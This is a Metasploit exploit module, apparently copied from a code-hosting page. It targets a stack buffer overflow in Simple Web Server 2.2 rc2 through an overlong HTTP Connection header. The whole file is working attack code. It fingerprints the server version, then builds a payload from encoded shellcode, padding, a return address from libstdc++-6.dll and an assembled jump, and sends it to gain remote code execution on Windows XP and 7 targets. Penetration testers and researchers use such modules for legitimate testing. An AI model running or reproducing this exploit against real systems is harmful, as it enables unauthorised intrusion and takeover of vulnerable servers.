96 lines
2.7 KiB
Ruby
96 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Simple Web Server Connection Header Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
|
|
can send a long string data in the Connection Header to causes an overflow on the
|
|
stack when function vsprintf() is used, and gain arbitrary code execution. The
|
|
module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'mr.pr0n', # Vulnerability Discovery and PoC
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '84310'],
|
|
['EDB', '19937'],
|
|
['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
'Space' => 2048,
|
|
'DisableNops' => true,
|
|
'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "process",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
|
|
{
|
|
'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
|
|
'Offset' => 2048,
|
|
'OffsetEDI' => 84
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jul 20 2012",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
res = send_request_raw({'uri'=>'/'})
|
|
if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = payload.encoded
|
|
sploit << rand_text(target['Offset'] - sploit.length)
|
|
sploit << [target.ret].pack("V") # eip
|
|
sploit << rand_text(target['OffsetEDI'])
|
|
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
connect
|
|
|
|
send_request_cgi({
|
|
'uri' => '/',
|
|
'version' => '1.1',
|
|
'method' => 'GET',
|
|
'connection' => sploit
|
|
})
|
|
|
|
disconnect
|
|
|
|
end
|
|
end
|